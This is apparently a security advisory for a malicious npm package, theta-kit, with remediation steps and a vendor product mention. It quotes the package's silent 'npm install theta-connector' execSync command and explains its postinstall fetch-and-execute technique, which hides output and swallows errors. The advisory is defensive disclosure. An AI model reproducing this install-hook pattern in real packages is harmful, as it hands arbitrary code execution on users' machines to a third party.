theta-kitnpm
Advisory published Updated
theta-kit is a confirmed malicious npm package (MAL-2026-5706) that executes malicious code on install (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in theta-kit (npm)
What this malware does
package.json declares postinstall: node dist/index.js, and dist/index.js executes Model.resetor() at module top level — meaning both npm install theta-kit and require('theta-kit') hand control to a separate package, 'theta-connector'. resetor() instantiates new ThetaConnector({}) and calls db.queryDBConnect(). If 'theta-connector' is not present, the catch branch silently runs execSync('npm install theta-connector --no-warnings --no-save --no-progress --loglevel silent') and then requires and executes it. The package that ultimately runs is not shipped in this tarball, so its bytes can change at any time without any update to theta-kit. Output is suppressed and errors are swallowed, hiding the fetch-and-execute from the installer. The package also declares a runtime dependency on child_process@^1.0.2, an unrelated registry placeholder sharing a name with Node's built-in module — a confusion pattern that adds a second installer-controlled execution surface. The install-time fetch-and-execute pattern, combined with the silent-self-install fallback and the unrelated 'child_process' registry dep, is unrelated to the package's advertised mobx in-memory DB purpose and gives the maintainer of 'theta-connector' arbitrary code execution on every install or require of theta-kit.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for theta-kit (4 malicious versions).
If you installed it — respond
Remove theta-kit from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If theta-kit was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks theta-kit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.